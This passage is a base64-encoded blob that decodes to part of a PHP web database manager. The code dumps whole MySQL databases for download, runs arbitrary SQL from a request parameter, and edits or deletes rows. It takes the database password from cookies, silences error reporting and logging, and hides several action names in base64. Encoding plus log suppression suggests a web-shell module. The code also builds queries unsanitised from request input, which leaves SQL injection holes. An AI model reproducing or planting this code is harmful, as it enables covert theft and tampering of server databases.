QtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInIEFORCAiOw0KCQl9DQoJCSRrZXkgPSBzdWJzdHIoICRrZXksIDAsIHN0cmxlbigka2V5KS00ICk7DQoNCgkJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCgkJJHBSZXN1bHQgPSBteXNxbF9xdWVyeSggJHF1ZXJ5U3RyID0gICJTRUxFQ1QgKiBGUk9NICR0YWJsZW5hbWUgV0hFUkUgJGtleSIsICRteXNxbEhhbmRsZSApOw0KCQkkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCApOw0KCX0NCg0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCg0KCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJyBtZXRob2Q9cG9zdD5cbiI7DQoJaWYoICRjbWQgPT0gImFkZCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9YWRkRGF0YV9zdWJtaXQ+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWVkaXREYXRhX3N1Ym1pdD5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPSRkYm5hbWU+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXRhYmxlbmFtZSB2YWx1ZT0kdGFibGVuYW1lPlxuIjsNCgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yPlxuIjsNCgllY2hvICI8dHI+XG4iOw0KCWVjaG8gIjx0aD5OYW1lPC90aD5cbiI7DQoJZWNobyAiPHRoPlR5cGU8L3RoPlxuIjsNCgllY2hvICI8dGg+RnVuY3Rpb248L3RoPlxuIjsNCgllY2hvICI8dGg+RGF0YTwvdGg+XG4iOw0KCWVjaG8gIjwvdHI+XG4iOw0KDQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgIlNIT1cgZmllbGRzIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoNCgkkcFJlc3VsdExlbiA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoNCglmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsNCgkJJGZpZWxkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsNCgkJJGZpZWxkdHlwZSA9ICRmaWVsZFsiVHlwZSJdOw0KCQkkbGVuID0gbXlzcWxfZmllbGRfbGVuKCAkcFJlc3VsdExlbiwgJGkgKTsNCg0KCQllY2hvICI8dHI+IjsNCgkJZWNobyAiPHRkPiRmaWVsZG5hbWU8L3RkPiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiVHlwZSJdLiI8L3RkPiI7DQoJCWVjaG8gIjx0ZD5cbiI7DQoJCWVjaG8gIjxzZWxlY3QgbmFtZT0ke2ZpZWxkbmFtZX1fZnVuY3Rpb24+XG4iOw0KCQllY2hvICI8b3B0aW9uPlxuIjsNCgkJZWNobyAiPG9wdGlvbj5BU0NJSVxuIjsNCgkJZWNobyAiPG9wdGlvbj5DSEFSXG4iOw0KCQllY2hvICI8b3B0aW9uPlNPVU5ERVhcbiI7DQoJCWVjaG8gIjxvcHRpb24+Q1VSREFURVxuIjsNCgkJZWNobyAiPG9wdGlvbj5DVVJUSU1FXG4iOw0KCQllY2hvICI8b3B0aW9uPkZST01fREFZU1xuIjsNCgkJZWNobyAiPG9wdGlvbj5GUk9NX1VOSVhUSU1FXG4iOw0KCQllY2hvICI8b3B0aW9uPk5PV1xuIjsNCgkJZWNobyAiPG9wdGlvbj5QQVNTV09SRFxuIjsNCgkJZWNobyAiPG9wdGlvbj5QRVJJT0RfQUREXG4iOw0KCQllY2hvICI8b3B0aW9uPlBFUklPRF9ESUZGXG4iOw0KCQllY2hvICI8b3B0aW9uPlRPX0RBWVNcbiI7DQoJCWVjaG8gIjxvcHRpb24+VVNFUlxuIjsNCgkJZWNobyAiPG9wdGlvbj5XRUVLREFZXG4iOw0KCQllY2hvICI8b3B0aW9uPlJBTkRcbiI7DQoJCWVjaG8gIjwvc2VsZWN0PlxuIjsNCgkJZWNobyAiPC90ZD5cbiI7DQoJCSR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJGRhdGFbJGldKTsNCgkJaWYoICRjbWQgPT0gImFkZCIgKSB7DQoJCQkkdHlwZSA9IHN0cnRvayggJGZpZWxkdHlwZSwgIiAoLClcbiIgKTsNCgkJCWlmKCAkdHlwZSA9PSAiZW51bSIgfHwgJHR5cGUgPT0gInNldCIgKSB7DQoJCQkJZWNobyAiPHRkPlxuIjsNCgkJCQlpZiggJHR5cGUgPT0gImVudW0iICkNCgkJCQkJZWNobyAiPHNlbGVjdCBuYW1lPSRmaWVsZG5hbWU+XG4iOw0KCQkJCWVsc2UgaWYoICR0eXBlID09ICJzZXQiICkNCgkJCQkJZWNobyAiPHNlbGVjdCBuYW1lPSRmaWVsZG5hbWUgc2l6ZT00IG11bHRpcGxlPlxuIjsNCgkJCQl3aGlsZSggJHN0ciA9IHN0cnRvayggIiciICkgKSB7DQoJCQkJCWVjaG8gIjxvcHRpb24+JHN0clxuIjsNCgkJCQkJc3RydG9rKCAiJyIgKTsNCgkJCQl9DQoJCQkJZWNobyAiPC9zZWxlY3Q+XG4iOw0KCQkJCWVjaG8gIjwvdGQ+XG4iOw0KCQkJfSBlbHNlIHsNCgkJCQlpZiggJGxlbiA8IDQwICkNCgkJCQkJZWNobyAiPHRkPjxpbnB1dCB0eXBlPXRleHQgc2l6ZT00MCBtYXhsZW5ndGg9JGxlbiBuYW1lPSRmaWVsZG5hbWU+PC90ZD5cbiI7DQoJCQkJZWxzZQ0KCQkJCQllY2hvICI8dGQ+PHRleHRhcmVhIGNvbHM9NDAgcm93cz0zIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT48L3RleHRhcmVhPlxuIjsNCgkJCX0NCgkJfSBlbHNlIGlmKCAkY21kID09ICJlZGl0IiApIHsNCgkJCSR0eXBlID0gc3RydG9rKCAkZmllbGR0eXBlLCAiICgsKVxuIiApOw0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8fCAkdHlwZSA9PSAic2V0IiApIHsNCgkJCQllY2hvICI8dGQ+XG4iOw0KCQkJCWlmKCAkdHlwZSA9PSAiZW51bSIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZT5cbiI7DQoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZSBzaXplPTQgbXVsdGlwbGU+XG4iOw0KCQkJCXdoaWxlKCAkc3RyID0gc3RydG9rKCAiJyIgKSApIHsNCgkJCQkJaWYoICR2YWx1ZSA9PSAkc3RyICkNCgkJCQkJCWVjaG8gIjxvcHRpb24gc2VsZWN0ZWQ+JHN0clxuIjsNCgkJCQkJZWxzZQ0KCQkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOw0KCQkJCQlzdHJ0b2soICInIiApOw0KCQkJCX0NCgkJCQllY2hvICI8L3NlbGVjdD5cbiI7DQoJCQkJZWNobyAiPC90ZD5cbiI7DQoJCQl9IGVsc2Ugew0KCQkJCWlmKCAkbGVuIDwgNDAgKQ0KCQkJCQllY2hvICI8dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQwIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZSB2YWx1ZT1cIiR2YWx1ZVwiPjwvdGQ+XG4iOw0KCQkJCWVsc2UNCgkJCQkJZWNobyAiPHRkPjx0ZXh0YXJlYSBjb2xzPTQwIHJvd3M9MyBtYXhsZW5ndGg9JGxlbiBuYW1lPSRmaWVsZG5hbWU+JHZhbHVlPC90ZXh0YXJlYT5cbiI7DQoJCQl9DQoJCX0NCgkJZWNobyAiPC90cj4iOw0KCX0NCgllY2hvICI8L3RhYmxlPjxwPlxuIjsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nQWRkIERhdGEnPlxuIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRWRpdCBEYXRhJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPSdDYW5jZWwnIG9uQ2xpY2s9J2hpc3RvcnkuYmFjaygpJz5cbiI7DQoJZWNobyAiPC9mb3JtPlxuIjsNCn0NCg0KZnVuY3Rpb24gbWFuYWdlRGF0YV9zdWJtaXQoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoNCgkkcFJlc3VsdCA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7DQoNCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJJHF1ZXJ5U3RyID0gIklOU0VSVCBJTlRPICR0YWJsZW5hbWUgVkFMVUVTICgiOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJJHF1ZXJ5U3RyID0gIlJFUExBQ0UgSU5UTyAkdGFibGVuYW1lIFZBTFVFUyAoIjsNCglmb3IoICRpID0gMDsgJGkgPCAkbnVtLTE7ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2ZpZWxkKCAkcFJlc3VsdCApOw0KCQkkZnVuYyA9ICRHTE9CQUxTWyRmaWVsZC0+bmFtZS4iX2Z1bmN0aW9uIl07DQoJCWlmKCAkZnVuYyAhPSAiIiApDQoJCQkkcXVlcnlTdHIgLj0gIiAkZnVuYygiOw0KCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKSB7DQoJCQkkcXVlcnlTdHIgLj0gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXTsNCgkJCWlmKCAkZnVuYyAhPSAiIiApDQoJCQkJJHF1ZXJ5U3RyIC49ICIpLCI7DQoJCQllbHNlDQoJCQkJJHF1ZXJ5U3RyIC49ICIsIjsNCgkJfSBlbHNlIHsNCgkJCSRxdWVyeVN0ciAuPSAiJyIgLiAkR0xPQkFMU1skZmllbGQtPm5hbWVdOw0KCQkJaWYoICRmdW5jICE9ICIiICkNCgkJCQkkcXVlcnlTdHIgLj0gIicpLCI7DQoJCQllbHNlDQoJCQkJJHF1ZXJ5U3RyIC49ICInLCI7DQoJCX0NCgl9DQoJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0ICk7DQoJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkNCgkJJHF1ZXJ5U3RyIC49ICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiKSI7DQoJZWxzZQ0KCQkkcXVlcnlTdHIgLj0gIiciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICInKSI7DQoNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoNCgl2aWV3RGF0YSggIiIgKTsNCn0NCg0KZnVuY3Rpb24gZGVsZXRlRGF0YSgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkZmllbGRuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1zZzsNCg0KCSRwUmVzdWx0ID0gbXlzcWxfbGlzdF9maWVsZHMoICRkYm5hbWUsICR0YWJsZW5hbWUgKTsNCgkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsNCg0KCSRrZXkgPSAiIjsNCglmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQsICRpICk7DQoJCWlmKCAkZmllbGQtPnByaW1hcnlfa2V5ID09IDEgKQ0KCQkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkNCgkJCQkka2V5IC49ICRmaWVsZC0+bmFtZSAuICI9IiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiIEFORCAiOw0KCQkJZWxzZQ0KCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0nIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJyBBTkQgIjsNCgl9DQoJJGtleSA9IHN1YnN0ciggJGtleSwgMCwgc3RybGVuKCRrZXkpLTQgKTsNCg0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJJHF1ZXJ5U3RyID0gICJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICRrZXkiOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KDQoJdmlld0RhdGEoICIiICk7DQp9DQoNCmZ1bmN0aW9uIGZldGNoX3RhYmxlX2R1bXBfc3FsKCR0YWJsZSkNCnsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCRkYm5hbWU7DQoNCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCSRxdWVyeV9pZCA9IG15c3FsX3F1ZXJ5KCJTSE9XIENSRUFURSBUQUJMRSAkdGFibGUiLCRteXNxbEhhbmRsZSk7DQoJJHRhYmxlZHVtcCA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeV9pZCwgTVlTUUxfQVNTT0MpOw0KCSR0YWJsZWR1bXAgPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgJHRhYmxlO1xuIiAuICR0YWJsZWR1bXBbJ0NyZWF0ZSBUYWJsZSddIC4gIjtcblxuIjsNCg0KCWVjaG8gJHRhYmxlZHVtcDsNCg0KCS8vIGdldCBkYXRhDQoJJHJvd3MgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSAkdGFibGUiLCRteXNxbEhhbmRsZSk7DQoJJG51bWZpZWxkcz1teXNxbF9udW1fZmllbGRzKCRyb3dzKTsNCgl3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyb3dzLCBNWVNRTF9OVU0pKQ0KCXsNCgkJJHRhYmxlZHVtcCA9ICJJTlNFUlQgSU5UTyAkdGFibGUgVkFMVUVTKCI7DQoNCgkJJGZpZWxkY291bnRlciA9IC0xOw0KCQkkZmlyc3RmaWVsZCA9IDE7DQoJCS8vIGdldCBlYWNoIGZpZWxkJ3MgZGF0YQ0KCQl3aGlsZSAoKyskZmllbGRjb3VudGVyIDwgJG51bWZpZWxkcykNCgkJew0KCQkJaWYgKCEkZmlyc3RmaWVsZCkNCgkJCXsNCgkJCQkkdGFibGVkdW1wIC49ICcsICc7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJGZpcnN0ZmllbGQgPSAwOw0KCQkJfQ0KDQoJCQlpZiAoIWlzc2V0KCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkpDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAnTlVMTCc7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJHRhYmxlZHVtcCAuPSAiJyIgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbIiRmaWVsZGNvdW50ZXIiXSkgLiAiJyI7DQoJCQl9DQoJCX0NCg0KCQkkdGFibGVkdW1wIC49ICIpO1xuIjsNCg0KCQllY2hvICR0YWJsZWR1bXA7DQoNCgl9DQoJQG15c3FsX2ZyZWVfcmVzdWx0KCRyb3dzKTsNCn0NCg0KZnVuY3Rpb24gZHVtcCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkYWN0aW9uLCAkZGJuYW1lLCAkdGFibGVuYW1lOw0KDQoJaWYoICRhY3Rpb24gPT0gImR1bXBUYWJsZSIgKXsNCg0KCQloZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGZpbGVuYW1lPSR0YWJsZW5hbWUuc3FsIik7DQoJCWhlYWRlcignQ29udGVudC10eXBlOiB1bmtub3duL3Vua25vd24nKTsNCgkJZmV0Y2hfdGFibGVfZHVtcF9zcWwoJHRhYmxlbmFtZSk7DQoJCWVjaG8gIlxuXG5cbiI7DQoJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkdGFibGVuYW1lIFRBQkxFIERVTVAgQ09NUExFVEVEICMjIyI7DQoJCWV4aXQ7DQoNCgl9ZWxzZXsNCgkJaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBmaWxlbmFtZT0kZGJuYW1lLnNxbCIpOw0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogdW5rbm93bi91bmtub3duJyk7DQoNCgkJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCgkJJHF1ZXJ5X2lkID0gbXlzcWxfcXVlcnkoIlNIT1cgdGFibGVzIiwkbXlzcWxIYW5kbGUpOw0KCQl3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeV9pZCwgTVlTUUxfTlVNKSkNCgkJew0KCQkJCWZldGNoX3RhYmxlX2R1bXBfc3FsKCRyb3dbMF0pOw0KCQkJCWVjaG8gIlxuXG5cbiI7DQoJCQkJZWNobyAiXHJcblxyXG5cclxuIyMjICRyb3dbMF0gVEFCTEUgRFVNUCBDT01QTEVURUQgIyMjIjsNCgkJCQllY2hvICJcblxuXG4iOw0KCQl9DQoJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkZGJuYW1lIERBVEFCQVNFIERVTVAgQ09NUExFVEVEICMjIyI7DQoJCWV4aXQ7DQoNCgl9DQoNCn0NCg0KZnVuY3Rpb24gdXRpbHMoKSB7DQoJZ2xvYmFsICRQSFBfU0VMRiwgJGNvbW1hbmQ7DQoJZWNobyAiPGgxPlV0aWxpdGllczwvaDE+XG4iOw0KCWlmKCAkY29tbWFuZCA9PSAiIiB8fCBzdWJzdHIoICRjb21tYW5kLCAwLCA1ICkgPT0gImZsdXNoIiApIHsNCgkJZWNobyAiPGhyPlxuIjsNCgkJZWNobyAiU2hvd1xuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9hPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93X3Byb2Nlc3NsaXN0Jz5Qcm9jZXNzbGlzdDwvYT5cbiI7DQoJCWVjaG8gIjwvdWw+XG4iOw0KCQllY2hvICJGbHVzaFxuIjsNCgkJZWNobyAiPHVsPlxuIjsNCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9ob3N0cyc+SG9zdHM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3RzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGhvc3RzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5Mb2dzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9sb2dzIiApIHsNCgkJCWlmKCBteXNxbF9xdWVyeSggIkZsdXNoIGxvZ3MiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3ByaXZpbGVnZXMnPlByaXZpbGVnZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3ByaXZpbGVnZXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdlcyIgKSAhPSBmYWxzZSApDQoJCQkJZWNobyAiLSBTdWNjZXNzIjsNCgkJCWVsc2UNCgkJCQllY2hvICItIEZhaWwiOw0KCQl9DQoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfdGFibGVzJz5UYWJsZXM8L2E+XG4iOw0KCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3RhYmxlcyIgKSB7DQoJCQlpZiggbXlzcWxfcXVlcnkoICJGbHVzaCB0YWJsZXMiICkgIT0gZmFsc2UgKQ0KCQkJCWVjaG8gIi0gU3VjY2VzcyI7DQoJCQllbHNlDQoJCQkJZWNobyAiLSBGYWlsIjsNCgkJfQ0KCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3N0YXR1cyc+U3RhdHVzPC9hPlxuIjsNCgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9zdGF0dXMiICkgew0KCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggc3RhdHVzIiApICE9IGZhbHNlICkNCgkJCQllY2hvICItIFN1Y2Nlc3MiOw0KCQkJZWxzZQ0KCQkJCWVjaG8gIi0gRmFpbCI7DQoJCX0NCgkJZWNobyAiPC91bD5cbiI7DQoJfSBlbHNlIHsNCgkJJHF1ZXJ5U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIgIiwgJGNvbW1hbmQgKTsNCgkJJHBSZXN1bHQgPSBteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICk7DQoJCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJCWVjaG8gIkZhaWwiOw0KCQkJcmV0dXJuOw0KCQl9DQoJCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KDQoJCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRxdWVyeVN0cjwvcD5cbiI7DQoJCWVjaG8gIjxocj5cbiI7DQoNCgkJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9MiBib3JkZXI9MD5cbiI7DQoJCWVjaG8gIjx0cj5cbiI7DQoJCWZvciggJGkgPSAwOyAkaSA8ICRjb2w7ICRpKysgKSB7DQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQsICRpICk7DQoJCQllY2hvICI8dGg+Ii4kZmllbGQtPm5hbWUuIjwvdGg+XG4iOw0KCQl9DQoJCWVjaG8gIjwvdHI+XG4iOw0KDQoJCXdoaWxlKCAxICkgew0KCQkJJHJvd0FycmF5ID0gbXlzcWxfZmV0Y2hfcm93KCAkcFJlc3VsdCApOw0KCQkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFrOw0KCQkJZWNobyAiPHRyPlxuIjsNCgkJCWZvciggJGogPSAwOyAkaiA8ICRjb2w7ICRqKysgKQ0KCQkJCWVjaG8gIjx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0gKS4iPC90ZD5cbiI7DQoJCQllY2hvICI8L3RyPlxuIjsNCgkJfQ0KCQllY2hvICI8L3RhYmxlPlxuIjsNCgl9DQp9DQoNCg0KDQpmdW5jdGlvbiBmb290ZXJfaHRtbCgpIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRVU0VSTkFNRTsNCg0KCWVjaG8gIjxocj5cbiI7DQoJZWNobyAiWyRVU0VSTkFNRV0gLSBcbiI7DQoNCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWJHbHpkRVJDY3c9PSc+RGF0YWJhc2UgTGlzdDwvYT4gfCBcbiI7DQoJaWYoICR0YWJsZW5hbWUgIT0gIiIgKQ0KCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxpc3RUYWJsZXMmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUnPlRhYmxlIExpc3Q8L2E+IHwgIjsNCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJz5VdGlsczwvYT4gfFxuIjsNCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxvZ291dCc+TG9nb3V0PC9hPlxuIjsNCg0KDQp9DQoNCg0KDQoNCi8vLS0tLS0tLS0tLS0tLSBNQUlOIC0tLS0tLS0tLS0tLS0gLy8NCmVycm9yX3JlcG9ydGluZygwKTsNCmluaV9zZXQgKCdkaXNwbGF5X2Vycm9ycycsIDApOw0KaW5pX3NldCAoJ2xvZ19lcnJvcnMnLCAwKTsNCg0KaWYoICRhY3Rpb24gPT0gImxvZ29uIiB8fCAkYWN0aW9uID09ICIiIHx8ICRhY3Rpb24gPT0gImxvZ291dCIgKQ0KCWxvZ29uKCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJiRzluYjI1ZmMzVmliV2wwIiApDQoJbG9nb25fc3VibWl0KCk7DQplbHNlIGlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiIHx8ICRhY3Rpb24gPT0gImR1bXBEQiIgKSB7DQoJd2hpbGUoIGxpc3QoJHZhciwgJHZhbHVlKSA9IGVhY2goJEhUVFBfQ09PS0lFX1ZBUlMpICkgew0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3VzZXJuYW1lIiApICRVU0VSTkFNRSA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQgPSAkdmFsdWU7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICkgJEhPU1ROQU1FID0gJHZhbHVlOw0KCX0NCgkkbXlzcWxIYW5kbGUgPSBAbXlzcWxfY29ubmVjdCggJEhPU1ROQU1FLiI6MzMwNiIsICRVU0VSTkFNRSwgJFBBU1NXT1JEICk7DQoJZHVtcCgpOw0KfSBlbHNlIHsNCgl3aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0gZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5fdXNlcm5hbWUiICkgJFVTRVJOQU1FID0gJHZhbHVlOw0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3Bhc3N3b3JkIiApICRQQVNTV09SRCA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9TVE5BTUUgPSAkdmFsdWU7DQoJfQ0KCWVjaG8gIjwhLS0iOw0KCSRteXNxbEhhbmRsZSA9IEBteXNxbF9jb25uZWN0KCAkSE9TVE5BTUUuIjozMzA2IiwgJFVTRVJOQU1FLCAkUEFTU1dPUkQgKTsNCgllY2hvICItLT4iOw0KDQoJaWYoICRteXNxbEhhbmRsZSA9PSBmYWxzZSApIHsNCg0KDQoJCWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7DQoJCWVjaG8gIjxoMT5Xcm9uZyBQYXNzd29yZCE8L2gxPlxuIjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1sb2dvbic+TG9nb248L2E+XG4iOw0KCQllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoNCgl9IGVsc2Ugew0KDQoJCWlmKCAkYWN0aW9uID09ICJiR2